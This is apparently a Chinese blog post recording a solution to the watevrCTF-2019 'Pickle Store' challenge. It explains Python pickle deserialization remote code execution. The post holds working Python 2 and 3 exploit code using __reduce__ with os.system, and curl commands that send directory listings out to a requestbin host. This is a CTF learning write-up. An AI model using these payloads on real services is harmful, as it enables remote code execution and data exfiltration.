• 刷题记录:[watevrCTF-2019]Pickle Store


    题目复现链接:https://buuoj.cn/challenges
    参考链接:watevrCTF 2019 - Write-ups

    python反序列化

    Python pickle 反序列化实例分析
    这篇文章讲的很全了

    基本上这样的exp就可以了,这是python2的

    import cPickle
    import sys
    import base64
    
    COMMAND = sys.argv[1]
    
    class PickleRce(object):
        def __reduce__(self):
            import os
            return (os.system,(COMMAND,))
    
    print base64.b64encode(cPickle.dumps(PickleRce()))
    

    python3的也差不多

    import pickle
    import base64
    
    
    class PickleRce(object):
        def __reduce__(self):
            import os
            return (os.system, ('curl http://http.requestbin.buuoj.cn/17ozn5q1',))
    
    
    print(base64.b64encode(pickle.dumps(PickleRce(), protocol=0)))
    

    这里我主要要说的是我做这道题的时候payload是在windows上用pycharm生成的,但是一直不成功,而在unix上就可以,而且两个平台上出来的payload是不一样的,在unix上是这样的

    cposix
    system
    p1
    (S'sleep 5'
    p2
    tRp3
    .
    

    在windows上是这样的

    cnt
    system
    p0
    (Vsleep 5
    p1
    tp2
    Rp3
    .
    

    最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败。

    OOB

    另外扫目录的时候有个问题,ls返回的数据没法直接curl,只会返回第一行,我用了两种比较蠢的方法,第一种是

    curl http://http.requestbin.buuoj.cn/17ozn5q1/?a=`ls / | base64 | sed -n "1p"`
    curl http://http.requestbin.buuoj.cn/17ozn5q1/?a=`ls / | base64 | sed -n "2p"`
    

    不知道为什么base64之后还是两行,只能分两行读,第二种是

    curl http://http.requestbin.buuoj.cn/17ozn5q1/?a=`printf %s \`ls /\``
    

    对不起,我是傻逼

    curl http://http.requestbin.buuoj.cn/17ozn5q1 -d "`ls`"
    
  • 相关阅读:
    Opencv-Python 学习
    Python图片处理
    sae flask 微信公众平台开发
    Python 定位字符串
    Python检测IP合法 是否为公网IP
    Python requests 为pfsense 添加Routes
    lua-nginx-module 学习
    CDN 学习笔记
    教程
    2020-2021-1 20209327 《Linux内核原理与分析》第十二周作业
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12310293.html
Copyright © 2020-2023  润新知